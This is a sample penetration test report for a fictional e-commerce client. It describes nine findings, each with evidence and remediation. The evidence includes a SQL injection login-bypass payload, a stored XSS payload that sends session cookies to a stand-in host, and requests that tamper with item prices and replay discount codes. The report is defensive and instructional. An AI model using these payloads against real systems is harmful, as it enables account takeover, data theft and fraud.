DEFENSYS
INNOVATIONS

CONFIDENTIAL

Web Application
Penetration Test Report

SAMPLE REPORT: FOR ILLUSTRATIVE PURPOSES ONLY

Client	Zenith Retail Technologies Pvt. Ltd. *(fictional)*
Assessment Type	Grey-Box Web Application & API Penetration Test
Assessment Window	10 to 21 August 2026
Report Date	25 August 2026
Prepared By	Defensys Innovations (OPC) Pvt Ltd
Report Reference	DEF-VAPT-2026-0417
Classification	Confidential. Client and Defensys Innovations only

This document is a sample prepared to demonstrate the structure, depth and reporting standard of a Defensys Innovations penetration test. The client, hostnames, IP ranges and findings described within it are fictional. No real system was tested in its production.

Document Control

Revision History

Version	Date	Author	Description
0.1	18 Aug 2026	Vaibhav Joshi	Initial draft following completion of testing
0.2	21 Aug 2026	Krishnapal Sharma	Technical peer review and quality assurance
1.0	25 Aug 2026	Vaibhav Joshi	Final report issued to client

Assessment Team

Name	Role	Certifications
Vaibhav Joshi	Lead Security Engineer	OSWE, OSCP, eWPTXv2, CRTP, CEH Practical
Krishnapal Sharma	Senior Security Engineer, peer review	OSCP, CREST CPSA, CREST CRT

Every Defensys Innovations report is peer-reviewed by a second senior engineer before issue. The named lead engineer is available to the client directly throughout remediation.

Distribution

Name	Title	Organisation
Priya Nair	Head of Engineering	Zenith Retail Technologies Pvt. Ltd.
Rohit Menon	Chief Technology Officer	Zenith Retail Technologies Pvt. Ltd.
Vaibhav Joshi	Founder & Lead Security Engineer	Defensys Innovations (OPC) Pvt Ltd

Confidentiality Statement

This document contains sensitive information regarding the security posture of Zenith Retail Technologies Pvt. Ltd.'s systems, including details of identified vulnerabilities and the means by which they may be exploited. This information is provided in strict confidence and must not be disclosed to any third party without the prior written consent of both Defensys Innovations (OPC) Pvt Ltd and the client. Defensys Innovations recommends that this report be stored encrypted at rest and that access be restricted to individuals with a legitimate need to know.

Table of Contents

1. Executive Summary

Defensys Innovations (OPC) Pvt Ltd was engaged by Zenith Retail Technologies Pvt. Ltd. to perform a grey-box penetration test of its customer-facing e-commerce platform and the REST API that supports it. The objective was to identify security weaknesses exploitable by a malicious actor and to provide clear, engineering-ready guidance for their remediation.

Testing was carried out between 10 and 21 August 2026 following a manual, adversary-driven methodology aligned with the OWASP Web Security Testing Guide and the Penetration Testing Execution Standard. Automated tooling was used to support coverage; every finding in this report was manually validated to confirm exploitability and eliminate false positives.

Nine findings were identified. The overall security posture of the platform at the time of testing is assessed as **Weak**. Two issues in particular drive that assessment. A critical authentication bypass in the login endpoint allows an unauthenticated attacker to gain administrative access without credentials. Separately, the checkout flow accepts the item price as a client-supplied value, allowing any authenticated customer to purchase goods of any value for an amount of their choosing, a direct and immediately realisable financial loss that no automated scanner would have surfaced.

Findings by Severity

Severity	Count	Definition
Critical	1	Immediate risk of full system or data compromise; requires urgent remediation.
High	3	Significant risk to the confidentiality or integrity of customer data or revenue.
Medium	3	Moderate risk; should be remediated within the current release cycle.
Low	1	Limited risk; recommended as part of general hardening.
Informational	1	Best-practice observation with no direct exploit path.

Key Recommendations

- Treat the authentication bypass (Finding 01) as a production incident. Remediate immediately and review application logs for evidence of prior exploitation.
- Stop accepting monetary values from the client in the checkout flow (Finding 04). Derive all pricing server-side from the catalogue at order creation.
- Introduce a centralised, enforced authorisation layer so that object-level ownership checks cannot be omitted on new endpoints (Finding 03).
- Adopt a secure development lifecycle with mandatory security review for changes touching authentication, authorisation and payment-adjacent code paths.
- Request a retest once the Critical and High findings are remediated, to confirm effective closure before the next release.

> **A note on business logic.** Three of the nine findings in this report, including one of the two most commercially significant, are business-logic flaws. These cannot be detected by automated scanning, because the application behaves exactly as it was built to behave; what is wrong is the design assumption, not the code pattern. They are found only by a human reasoning about how the system could be misused.

2. Assessment Scope & Methodology

2.1 Scope

The following assets were included within the agreed scope of this assessment:

Asset	Type	Notes
`app.zenithretail-demo.com`	Web application	Customer-facing e-commerce platform
`api.zenithretail-demo.com`	REST API	Backing API for the web and mobile clients
`203.0.113.0/28`	Infrastructure	Reserved documentation range, sample only

Out of scope: the third-party payment gateway, mobile applications, and any asset not explicitly listed above. Denial-of-service testing, physical security testing and social engineering were excluded from this engagement by mutual agreement and are recorded in the signed Rules of Engagement.

2.2 Approach

Testing followed a manual, adversary-driven approach aligned with the OWASP Web Security Testing Guide (WSTG) and the Penetration Testing Execution Standard (PTES). Attack techniques are mapped to MITRE ATT&CK where relevant. Automated tooling was used to support manual analysis rather than replace it; all findings were manually validated to confirm exploitability and eliminate false positives. The tooling used is listed in Appendix A.

The assessment was conducted as grey-box testing. Defensys Innovations was provided with two standard customer accounts but no access to source code or internal documentation, simulating the perspective of an authenticated but non-privileged attacker with the time and motivation to study the application.

2.3 Testing Phases

- **Reconnaissance and mapping.** Enumerating application functionality, endpoints, roles and the technology stack.
- **Vulnerability identification.** Manual and automated testing against the OWASP Top 10, together with targeted analysis of authorisation boundaries and business-logic assumptions.
- **Exploitation and validation.** Confirming exploitability under realistic conditions and assessing genuine business impact rather than theoretical risk.
- **Peer review.** Independent technical review of every finding by a second senior engineer before the report is issued.
- **Reporting.** Documenting findings with risk ratings, evidence, and remediation guidance written for the engineers who will implement it.

2.4 A Note on Evidence in this Sample

In a live engagement, each finding is supported by full request and response captures, annotated screenshots and, where relevant, video capture of the exploitation path. Because this document describes a fictional client and a fictional system, the evidence sections below contain representative excerpts that illustrate the format and level of detail supplied, rather than captures of a real system.

3. Risk Rating Methodology

Each finding in this report carries two ratings: a **CVSS v3.1 base score** and an **assigned severity**.

3.1 CVSS Base Score

The CVSS v3.1 base score reflects the intrinsic characteristics of a vulnerability that are constant over time and across environments. The full vector string is published alongside every finding so that the client can verify the score independently, and recalculate it against their own environmental metrics if they wish.

Severity	CVSS Score Range	Definition
Critical	9.0 to 10.0	Exploitation likely results in full system or data compromise with minimal effort.
High	7.0 to 8.9	Significant impact to confidentiality, integrity or availability.
Medium	4.0 to 6.9	Moderate impact, often requiring specific conditions to exploit.
Low	0.1 to 3.9	Limited impact; typically requires significant attacker effort or access.
Informational	0.0 / N/A	No direct security impact; best-practice or hardening observation.

3.2 Assigned Severity

The assigned severity is the rating the client should act on. It takes the CVSS base score as its primary input and adjusts it where the base score does not adequately reflect the risk in this specific business context. Where an adjustment has been made, it is stated explicitly on the finding together with the reasoning, so that the client can disagree with the judgement rather than merely with the number.

Adjustment is applied sparingly, and in practice for two recurring reasons:

- **Business-logic flaws are systematically under-scored by CVSS.** The framework measures impact on confidentiality, integrity and availability of the system. It has no term for direct financial loss, so a defect that lets an attacker buy a television for one rupee scores as a moderate integrity issue.
- **Information disclosure is frequently over-scored.** A finding with a mechanically valid Medium base score may have no exploit path at all, and reporting it as Medium displaces attention from findings that do.

The severity counts in the Executive Summary and the Summary of Findings reflect assigned severity throughout.

4. Summary of Findings

The table below lists all findings identified during this assessment, ordered by assigned severity. Full technical detail, evidence and remediation guidance for each is provided in Section 5.

ID	Finding	Severity	CVSS	Remediate	Status
01	Authentication Bypass via SQL Injection in Login Form	Critical	9.8	Immediate	Open
02	Stored Cross-Site Scripting in Product Review Field	High	7.6	Within 14 days	Open
03	Broken Access Control: Insecure Direct Object Reference on Order Details	High	7.1	Within 14 days	Open
04	Price Manipulation in Checkout Flow (Business Logic)	High *	6.5	Immediate	Open
05	Weak TLS Configuration: Deprecated Protocol and Cipher Support	Medium	5.9	Within 30 days	Open
06	Missing Rate Limiting on Authentication and Password Reset Endpoints	Medium	5.3	Within 30 days	Open
07	Discount Code Reuse Beyond Intended Redemption Limit (Business Logic)	Medium	4.3	Within 30 days	Open
08	Verbose Error Messages Disclosing Stack Traces	Low *	5.3	Within 60 days	Open
09	Missing HTTP Security Response Headers	Informational	N/A	Next release cycle	Open

** Assigned severity differs from the CVSS base score. The reasoning is stated on the finding.*

5. Detailed Findings

Each finding below follows the same structure, so that different readers can take what they need from it without reading the whole entry.

Section	What it is for
Rating panel	The affected component, the CVSS v3.1 vector and base score, the severity assigned by Defensys, and the estimated remediation effort and priority. Enough for a manager to schedule the work.
Description	What is wrong, in technical terms.
Business impact	What it means for the business if it is not fixed. Written for a non-specialist reader. This is the section for a board or an auditor.
Steps to reproduce	How the issue was found and confirmed, in enough detail for the client's engineers to reproduce it independently.
Evidence	Request and response captures demonstrating the issue.
Remediation	What to change, written for the engineers who will implement it. Ordered by importance, with compensating controls distinguished from actual fixes.
References	CWE classification, OWASP WSTG test case and Top 10 category, so the finding can be mapped to whichever framework the client reports against.

Findings are ordered by assigned severity. Each begins on a new page.

5.1 Authentication Bypass via SQL Injection in Login Form

CRITICAL DEF-VAPT-2026-0417-01 CVSS 3.1 Base: 9.8

COMPONENT	POST /api/v1/auth/login, `username` parameter		
CVSS VECTOR	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`		
CVSS BASE	9.8 (Critical)	ASSIGNED	Critical
EFFORT	Medium	PRIORITY	Immediate (production incident)

DESCRIPTION

The login endpoint concatenates the submitted `username` value directly into a backend SQL query without parameterisation or input sanitisation. This allows an unauthenticated attacker to alter the logic of the query and bypass authentication entirely.

BUSINESS IMPACT

An attacker can authenticate as any user, including administrative accounts, without knowing a valid password. Depending on the privileges held by the application's database account, the same injection point may also permit direct extraction of the customer database, including names, delivery addresses and password hashes. This finding alone is sufficient to compromise the confidentiality and integrity of the entire platform.

STEPS TO REPRODUCE

- The `username` field was found to accept SQL metacharacters without filtering or escaping.
- Submitting a crafted username together with an arbitrary password returned a valid, authenticated session for the first user record in the `users` table, an administrative account.
- Response timing and error behaviour confirmed the query is built through unsanitised string concatenation rather than a parameterised statement.

EVIDENCE

REQUEST

```
POST /api/v1/auth/login HTTP/1.1
Host: api.zenithretail-demo.com
Content-Type: application/json

{"username": "admin' OR '1'='1' -- ", "password": "anything"}
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json

{"status": "success",
 "user_id": 1,
 "role": "administrator",
 "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.[truncated]"}
```

REMEDIATION

- Use parameterised queries (prepared statements) or a vetted ORM for all database access. User input must never be concatenated into a SQL statement.
- Apply least privilege to the database account used by the application. It should not hold DDL rights or read access to tables outside its function.

- Deploy a web application firewall as an interim compensating control while the code fix is developed and released. A WAF is not a substitute for the fix.
- Review application logs for evidence of prior exploitation before closing this finding.

REFERENCES

- CWE-89: Improper Neutralization of Special Elements used in an SQL Command
- OWASP WSTG-INPV-05: Testing for SQL Injection
- OWASP Top 10 2021: A03 Injection

5.2 Stored Cross-Site Scripting in Product Review Field

HIGH DEF-VAPT-2026-0417-02 CVSS 3.1 Base: 7.6

COMPONENT	POST /api/v1/products/{id}/reviews, `body` field		
CVSS VECTOR	`CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N`		
CVSS BASE	7.6 (High)	ASSIGNED	High
EFFORT	Low	PRIORITY	Within 14 days

DESCRIPTION

User-submitted product review text is persisted and later rendered on the public product page without context-aware output encoding. Injected HTML and JavaScript therefore execute in the browser of any user who views the affected product.

BUSINESS IMPACT

An attacker can publish a review containing script that executes in the session of every customer who views that product page. Because reviews are also rendered in the administrative moderation panel, the same payload executes in an administrator's authenticated session, enabling session token theft and escalation to full administrative control of the platform.

STEPS TO REPRODUCE

- A review containing a script payload was submitted against a test product using a standard, non-privileged account (Test User A).
- The payload was accepted and stored without sanitisation, encoding or moderation.
- On revisiting the public product page, the script executed in the browser, confirming stored, not reflected, cross-site scripting.
- The same payload was observed to render unescaped within the administrative review-moderation view.

EVIDENCE

REQUEST

```
POST /api/v1/products/4471/reviews HTTP/1.1
Host: api.zenithretail-demo.com
Authorization: Bearer [Test User A session token]
Content-Type: application/json

{"rating": 5,
 "body": "<script>fetch('https://collector.example/?c='+document.cookie)</script>"}
```

RESPONSE

```
HTTP/1.1 201 Created
Content-Type: application/json

{"review_id": 88213, "status": "published", "moderated": false}
```

REMEDIATION

- Apply context-aware output encoding to all user-supplied content at the point of rendering. Encoding on input is not sufficient.
- Deploy a strict Content-Security-Policy header as defence in depth (see Finding 09).
- Where limited rich text must be supported, pass content through a well-maintained HTML sanitisation library with an allow-list of permitted tags and attributes.

- Set the `HttpOnly` flag on session cookies so that a successful payload cannot read them.

REFERENCES

- CWE-79: Improper Neutralization of Input During Web Page Generation
- OWASP WSTG-INPV-02: Testing for Stored Cross Site Scripting
- OWASP Top 10 2021: A03 Injection

5.3 Broken Access Control: Insecure Direct Object Reference on Order Details

HIGH DEF-VAPT-2026-0417-03 CVSS 3.1 Base: 7.1

COMPONENT	GET /api/v1/orders/{order_id}		
CVSS VECTOR	`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N`		
CVSS BASE	7.1 (High)	ASSIGNED	High
EFFORT	Medium	PRIORITY	Within 14 days

DESCRIPTION

The order details endpoint returns complete order data (line items, delivery address and partially masked payment card details) based solely on the `order_id` supplied in the URL. No server-side check is performed to confirm that the authenticated user is entitled to the record requested.

BUSINESS IMPACT

Any authenticated customer can enumerate sequential order identifiers to retrieve other customers' purchase history, home addresses and partial payment card data. Given that order IDs increment predictably, the entire order database is retrievable by a single authenticated attacker in a matter of hours. This represents a material privacy exposure and a PCI DSS concern.

STEPS TO REPRODUCE

- Authenticating as Test User A and placing an order returned `order_id` 10482.
- Requesting adjacent identifiers 10481 and 10483, which belong to unrelated customers, while still authenticated as Test User A returned HTTP 200 with those customers' full order records.
- No authorisation check was performed server-side before the record was returned; the response was identical in structure to the user's own order.

EVIDENCE

REQUEST

```
GET /api/v1/orders/10481 HTTP/1.1
Host: api.zenithretail-demo.com
Authorization: Bearer [Test User A session token]
```

RESPONSE

```
HTTP/1.1 200 OK
Content-Type: application/json

{"order_id": 10481,
 "customer": {"name": "[other customer]", "email": "[redacted]"},
 "delivery_address": {"line1": "[redacted]", "city": "Pune", "pin": "4110[..]"},
 "payment": {"method": "card", "last4": "4412"},
 "items": [ ... ]}
```

REMEDIATION

- Enforce a server-side authorisation check on every object-level request, verifying that the authenticated principal owns or is otherwise entitled to the requested resource.
- Do not rely on identifiers being unguessable as an access control. Moving to UUIDs is a useful defence-in-depth measure but is not a fix on its own.
- Introduce a centralised authorisation layer so that the check cannot be omitted on new endpoints, and add regression tests that assert cross-account access is refused.

REFERENCES

- CWE-639: Authorization Bypass Through User-Controlled Key
- OWASP WSTG-ATHZ-04: Testing for Insecure Direct Object References
- OWASP Top 10 2021: A01 Broken Access Control

5.4 Price Manipulation in Checkout Flow (Business Logic)

HIGH DEF-VAPT-2026-0417-04 CVSS 3.1 Base: 6.5

COMPONENT	POST /api/v1/checkout, `items[].unit_price`		
CVSS VECTOR	`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N`		
CVSS BASE	6.5 (Medium)	ASSIGNED	High
EFFORT	Medium	PRIORITY	Immediate

> **Severity adjusted.** Raised from Medium to High. The CVSS base score does not capture direct, unbounded and immediately realisable financial loss to the business, which in this case is limited only by available stock.

DESCRIPTION

The checkout endpoint accepts the item unit price as a client-supplied value and uses it to calculate the order total. The server does not re-derive the price from the product catalogue, nor does it validate the submitted value against it. An attacker can therefore set an arbitrary price for any item and complete a genuine, fully authorised purchase at that price.

BUSINESS IMPACT

An attacker can purchase any item in the catalogue for an amount of their choosing, including nominal amounts. The order is accepted, payment is authorised for the manipulated total, and fulfilment proceeds normally, meaning goods ship against payment that bears no relation to their value. Loss is direct, immediate and bounded only by inventory. Because each transaction is individually legitimate, this activity is unlikely to be detected by fraud monitoring focused on payment instruments.

STEPS TO REPRODUCE

- A high-value item (SKU `ZR-TV-55X`, catalogue price ₹64,999) was added to the cart as Test User A.
- The checkout request was intercepted and the `unit_price` field modified from 64999.00 to 1.00 before forwarding.
- The server accepted the submitted price, created the order with a total of ₹1.00, and returned an authorised payment status.
- The order subsequently appeared in the account's order history in a normal, fulfillable state.

EVIDENCE

REQUEST

```
POST /api/v1/checkout HTTP/1.1
Host: api.zenithretail-demo.com
Authorization: Bearer [Test User A session token]
Content-Type: application/json

{"cart_id": "c-88213",
 "items": [{"sku": "ZR-TV-55X", "qty": 1, "unit_price": 1.00}],
 "currency": "INR"}
```

RESPONSE

```
HTTP/1.1 201 Created
Content-Type: application/json

{"order_id": 10482,
 "total": 1.00,
 "currency": "INR",
 "payment_status": "authorised",
 "fulfilment_status": "pending_dispatch"}
```

REMEDIATION

- Never accept price, tax, shipping or discount values from the client. Derive every monetary component server-side from the product catalogue at the moment the order is created.
- Treat the client cart as a list of SKUs and quantities only; reject any request containing monetary fields rather than silently ignoring them, so that tampering is visible in logs.
- Add a server-side reconciliation check that refuses any order whose computed total differs from the authorised payment amount.
- Extend automated test coverage to assert that a tampered price is rejected, so the control cannot regress.

REFERENCES

- CWE-472: External Control of Assumed-Immutable Web Parameter
- OWASP WSTG-BUSL-01: Test Business Logic Data Validation
- OWASP Top 10 2021: A04 Insecure Design

5.5 Weak TLS Configuration: Deprecated Protocol and Cipher Support

MEDIUM DEF-VAPT-2026-0417-05 CVSS 3.1 Base: 5.9

COMPONENT	app.zenithretail-demo.com:443, api.zenithretail-demo.com:443		
CVSS VECTOR	CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N		
CVSS BASE	5.9 (Medium)	ASSIGNED	Medium
EFFORT	Low	PRIORITY	Within 30 days

DESCRIPTION

Both hosts accept connections negotiated over TLS 1.0 and TLS 1.1, protocol versions that are formally deprecated and known to be susceptible to downgrade and padding-oracle style attacks. Several CBC-mode cipher suites without forward secrecy remain enabled.

BUSINESS IMPACT

A network-positioned attacker able to influence protocol negotiation may force a client onto a weaker protocol version, reducing the effective confidentiality of the session. The absence of forward secrecy in the enabled suites means that recorded traffic could be decrypted retrospectively should the server's private key be compromised at any future point. Deprecated protocol support is also a direct finding against PCI DSS for any environment handling cardholder data.

STEPS TO REPRODUCE

- A TLS configuration review against both hosts confirmed that TLS 1.0 and TLS 1.1 remained negotiable alongside TLS 1.2.
- Several CBC-mode cipher suites without forward secrecy were offered and accepted.
- HTTP Strict Transport Security was not present in responses (see also Finding 09), so a client is not instructed to refuse a downgraded connection.

EVIDENCE

OBSERVED PROTOCOL SUPPORT

```
TLSv1.0    offered  (deprecated)
TLSv1.1    offered  (deprecated)
TLSv1.2    offered
TLSv1.3    not offered

Forward secrecy    not offered by all negotiated suites
HSTS header        not present
```

REMEDIATION

- Disable TLS 1.0 and TLS 1.1 at the web server, load balancer or CDN edge, supporting TLS 1.2 and TLS 1.3 only.
- Restrict cipher suites to modern, forward-secret options: ECDHE key exchange with AES-GCM or ChaCha20-Poly1305.
- Enable HTTP Strict Transport Security with an appropriate max-age once TLS-only access is confirmed stable.
- Re-scan after the change to confirm an A-grade configuration and verify no legitimate client population has been excluded.

REFERENCES

- CWE-326: Inadequate Encryption Strength
- OWASP WSTG-CRYP-01: Testing for Weak Transport Layer Security
- PCI DSS v4.0 Requirement 4.2.1

5.6 Missing Rate Limiting on Authentication and Password Reset Endpoints

MEDIUM DEF-VAPT-2026-0417-06 CVSS 3.1 Base: 5.3

COMPONENT	POST /api/v1/auth/login, POST /api/v1/auth/password-reset		
CVSS VECTOR	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N		
CVSS BASE	5.3 (Medium)	ASSIGNED	Medium
EFFORT	Low	PRIORITY	Within 30 days

DESCRIPTION

Neither the login endpoint nor the password-reset endpoint enforces rate limiting, progressive delay, account lockout or any challenge-response control after repeated failed attempts. The password-reset endpoint additionally returns distinguishable responses depending on whether the submitted address corresponds to a registered account.

BUSINESS IMPACT

An attacker can conduct unthrottled credential-stuffing and brute-force attacks against customer accounts. The differing password-reset responses allow an attacker to confirm which email addresses are registered, producing a validated target list that materially increases the success rate of subsequent credential stuffing against a platform holding saved payment methods.

STEPS TO REPRODUCE

- One thousand sequential login attempts against a single account with varying passwords were submitted within a short window. All were processed; no lockout, delay, challenge or throttling response was observed at any point.
- The password-reset endpoint returned `"status": "sent"` for a registered address and `"status": "not_found"` for an unregistered one, permitting reliable account enumeration.

EVIDENCE

PASSWORD RESET, REGISTERED ADDRESS

```
POST /api/v1/auth/password-reset HTTP/1.1
Host: api.zenithretail-demo.com

{"email": "testuser.a@zenithretail-demo.com"}

HTTP/1.1 200 OK
{"status": "sent"}
```

PASSWORD RESET, UNREGISTERED ADDRESS

```
POST /api/v1/auth/password-reset HTTP/1.1
Host: api.zenithretail-demo.com

{"email": "no-such-account@zenithretail-demo.com"}

HTTP/1.1 404 Not Found
{"status": "not_found"}
```

REMEDIATION

- Implement progressive rate limiting per account and per source address, with temporary lockout after a defined number of consecutive failures.
- Introduce a CAPTCHA or equivalent challenge after repeated failures from the same origin.
- Return an identical response, same status code, body and timing, from the password-reset endpoint regardless of whether the account exists.

- Alert on abnormal authentication failure volumes so that credential-stuffing campaigns are detected rather than merely slowed.

REFERENCES

- CWE-307: Improper Restriction of Excessive Authentication Attempts
- CWE-204: Observable Response Discrepancy
- OWASP Top 10 2021: A07 Identification and Authentication Failures

5.7 Discount Code Reuse Beyond Intended Redemption Limit (Business Logic)

MEDIUM DEF-VAPT-2026-0417-07 CVSS 3.1 Base: 4.3

COMPONENT	POST /api/v1/cart/apply-discount		
CVSS VECTOR	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N		
CVSS BASE	4.3 (Medium)	ASSIGNED	Medium
EFFORT	Low	PRIORITY	Within 30 days

DESCRIPTION

Single-use promotional codes are validated at the point of application but the redemption counter is only incremented once the order completes. Submitting the same code repeatedly against an open cart applies the discount cumulatively, and the same code can be redeemed again from a second account.

BUSINESS IMPACT

A customer can stack a single-use promotional code to reduce an order total well beyond the intended discount, and can reuse codes intended for one-time redemption. The loss per transaction is bounded by the discount value, but the defect is trivially discoverable and tends to spread quickly through deal-sharing communities, producing concentrated margin loss during promotional periods.

STEPS TO REPRODUCE

- A single-use 10% promotional code was applied to a cart containing one item and the discount was reflected in the cart total as expected.
- The same request was replayed four further times against the same open cart. Each replay applied the discount again, compounding to a substantially reduced total.
- The order was completed successfully at the reduced total, and the same code was subsequently redeemed again from an unrelated account.

EVIDENCE

REQUEST (REPLAYED)

```
POST /api/v1/cart/apply-discount HTTP/1.1
Host: api.zenithretail-demo.com
Authorization: Bearer [Test User A session token]

{"cart_id": "c-88213", "code": "WELCOME10"}
```

RESPONSE AFTER FIFTH APPLICATION

```
HTTP/1.1 200 OK
Content-Type: application/json

{"cart_id": "c-88213",
 "subtotal": 64999.00,
 "discounts_applied": 5,
 "total": 38366.41}
```

REMEDIATION

- Enforce a single applied discount per cart server-side, and reject a code that is already present on the cart rather than applying it again.
- Increment and check the redemption counter atomically at the point of application, within the same transaction that reserves the code, rather than at order completion.

- Bind single-use codes to the account or customer they were issued to where that is the commercial intent.
- Add monitoring for orders whose effective discount exceeds the maximum any active campaign permits.

REFERENCES

- CWE-837: Improper Enforcement of a Single, Unique Action
- OWASP WSTG-BUSL-02: Test Ability to Forge Requests
- OWASP Top 10 2021: A04 Insecure Design

5.8 Verbose Error Messages Disclosing Stack Traces

LOW DEF-VAPT-2026-0417-08 CVSS 3.1 Base: 5.3

COMPONENT	Application-wide; reproduced via POST /api/v1/checkout and GET /api/v1/orders/{id}		
CVSS VECTOR	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N		
CVSS BASE	5.3 (Medium)	ASSIGNED	Low
EFFORT	Low	PRIORITY	Within 60 days

> **Severity adjusted.** Lowered from Medium to Low. The disclosure has no direct exploit path and its value to an attacker is limited to reconnaissance. It is recorded as Low rather than Informational because the disclosed detail includes framework versions and database object names, which measurably shortens the path to other findings in this report.

DESCRIPTION

Several API endpoints return raw application exception output when supplied with malformed input, rather than a generic error response. The returned body includes the backend framework and its version, absolute file paths from the deployment host, the failing function and line number, and, in the case of database exceptions, table and column names from the underlying schema.

BUSINESS IMPACT

This information is not directly exploitable in isolation. However, it materially assists an attacker at the reconnaissance stage: framework and version disclosure narrows the search for applicable published vulnerabilities and removes the need for version fingerprinting, absolute paths inform attempts at local file inclusion or log poisoning, and disclosed schema object names directly support exploitation of the SQL injection recorded in Finding 01. Verbose errors also frequently leak into client-side error monitoring services, widening the audience for the disclosed detail.

STEPS TO REPRODUCE

- A deliberately malformed JSON body, an unterminated object, was submitted to `/api/v1/checkout`. The response body contained a full backend stack trace rather than a handled error.
- Supplying a non-integer value in place of an order identifier at `/api/v1/orders/{id}` produced a database driver exception disclosing the table and column names involved in the query.
- The same behaviour was observed consistently across endpoints, indicating a global configuration setting rather than an isolated unhandled case.
- The application banner and error format also confirmed the framework and version without any need for active fingerprinting.

EVIDENCE

REQUEST

```
POST /api/v1/checkout HTTP/1.1
Host: api.zenithretail-demo.com
Content-Type: application/json

{"cart_id": "c-88213", "items": [
```

RESPONSE

```
HTTP/1.1 500 Internal Server Error
Content-Type: application/json

{"error": "JSONDecodeError: Expecting value: line 1 column 42 (char 41)",
 "framework": "[framework] 4.2.3",
 "trace": [
   "File \"/srv/zenith/api/v1/checkout.py\", line 88, in create_order",
   "File \"/srv/zenith/api/db/orders.py\", line 214, in insert_order",
   "OperationalError: table 'orders_v2' column 'promo_redemption_id'"
 ]}
```

REMEDIATION

- Disable debug mode in all production and production-like environments, and confirm it via configuration management rather than by inspection.
- Return a generic error body with a correlation identifier to the client, for example `{"error": "An unexpected error occurred", "ref": "a1b2c3"}`, while logging full detail server-side against that same identifier.
- Implement a catch-all exception handler so that unhandled exceptions cannot bypass the generic response.
- Confirm that client-side error reporting integrations do not forward raw server exception bodies to third-party services.
- Add a test to the release pipeline that asserts a 500 response body contains no stack trace.

REFERENCES

- CWE-209: Generation of Error Message Containing Sensitive Information
- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
- OWASP WSTG-ERRH-01: Testing for Improper Error Handling
- OWASP Top 10 2021: A05 Security Misconfiguration

5.9 Missing HTTP Security Response Headers

INFORMATIONAL DEF-VAPT-2026-0417-09

COMPONENT	Application-wide; all tested responses from app.zenithretail-demo.com		
CVSS BASE	N/A (Informational)	ASSIGNED	Informational
EFFORT	Low	PRIORITY	Next release cycle

DESCRIPTION

The application does not set several recommended security-related HTTP response headers. Their absence does not create a vulnerability in itself, but each represents a browser-enforced control that is currently unavailable to defend the application.

BUSINESS IMPACT

No direct exploit path exists for this finding. Its significance is that these controls would have reduced the impact of other findings in this report. A restrictive Content-Security-Policy would have limited exfiltration by the stored cross-site scripting payload in Finding 02, and Strict-Transport-Security would have prevented the protocol downgrade described in Finding 05. They are recorded here as inexpensive defence-in-depth measures, not as issues requiring urgent action.

STEPS TO REPRODUCE

- Response headers were reviewed across all tested pages and API endpoints in both authenticated and unauthenticated states.
- The following headers were absent from every response observed: `Content-Security-Policy`, `Strict-Transport-Security`, `X-Frame-Options`, `X-Content-Type-Options` and `Referrer-Policy`.
- `X-Powered-By` was present and disclosed the backend framework, which is unnecessary and compounds the disclosure recorded in Finding 08.
- Session cookies were set without the `HttpOnly` and `SameSite` attributes.

EVIDENCE

OBSERVED RESPONSE HEADERS

```
HTTP/1.1 200 OK
Server: nginx
X-Powered-By: [framework] 4.2.3
Content-Type: text/html; charset=utf-8
Set-Cookie: session=[...]; Path=/; Secure

(absent) Content-Security-Policy
(absent) Strict-Transport-Security
(absent) X-Frame-Options
(absent) X-Content-Type-Options
(absent) Referrer-Policy
(absent) HttpOnly and SameSite on session cookie
```

RECOMMENDED BASELINE

```
Content-Security-Policy: default-src 'self'; script-src 'self';
    object-src 'none'; frame-ancestors 'none'; base-uri 'self'
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: session=[...]; Path=/; Secure; HttpOnly; SameSite=Lax

Remove: X-Powered-By
```

REMEDIATION

- Set the headers at the reverse proxy or application framework level so that coverage is global and cannot be missed on new routes.
- Deploy Content-Security-Policy in report-only mode first, review the reported violations, then enforce. A policy rolled out directly to enforcement commonly breaks legitimate functionality.
- Apply `Strict-Transport-Security` only once TLS-only access is confirmed stable, as the directive is difficult to reverse within its max-age.
- Add `HttpOnly` and `SameSite` to session cookies, and remove the `X-Powered-By` header.
- Add an automated check to the release pipeline that asserts the baseline headers are present.

REFERENCES

- OWASP Secure Headers Project
- OWASP WSTG-CONF-12: Test for Content Security Policy
- OWASP Top 10 2021: A05 Security Misconfiguration

6. Conclusion & Strategic Recommendations

This assessment identified nine findings, including one Critical and three High severity issues requiring prompt remediation. The authentication bypass described in Finding 01 should be treated as a production incident. The price manipulation flaw in Finding 04 is of comparable commercial urgency: it is trivially exploitable by any customer, produces immediate financial loss, and would not have been surfaced by automated scanning.

A common cause runs through several of the findings: the application places trust in values supplied by the client and in identifiers assumed to be unguessable, rather than enforcing decisions server-side. Remediating the individual findings will close the specific issues; addressing that assumption will prevent the next set.

Short Term: 0 to 30 days

- Remediate the Critical and High severity findings and request a retest to confirm closure.
- Review application and payment logs for evidence of prior exploitation of Findings 01 and 04.
- Deploy a web application firewall as an interim compensating control while code fixes are developed.
- Review the database account's permissions and apply least privilege.

Medium Term: 1 to 3 months

- Introduce mandatory security code review for all changes touching authentication, authorisation, pricing or payment-adjacent code paths.
- Adopt a centralised authorisation layer and a standard input-validation and output-encoding library, so that controls are inherited rather than reimplemented per endpoint.
- Implement consistent rate limiting across all public-facing endpoints.
- Add regression tests asserting that tampered prices, reused discount codes and cross-account object access are all refused.

Long Term: 3 to 6 months

- Integrate automated security testing (SAST and DAST) into the CI/CD pipeline, with the understanding that it complements rather than replaces manual testing. None of the three business-logic findings in this report would be detected by either.
- Establish a recurring penetration testing cadence: at minimum annually, and after any major release affecting authentication, authorisation or payment flows.
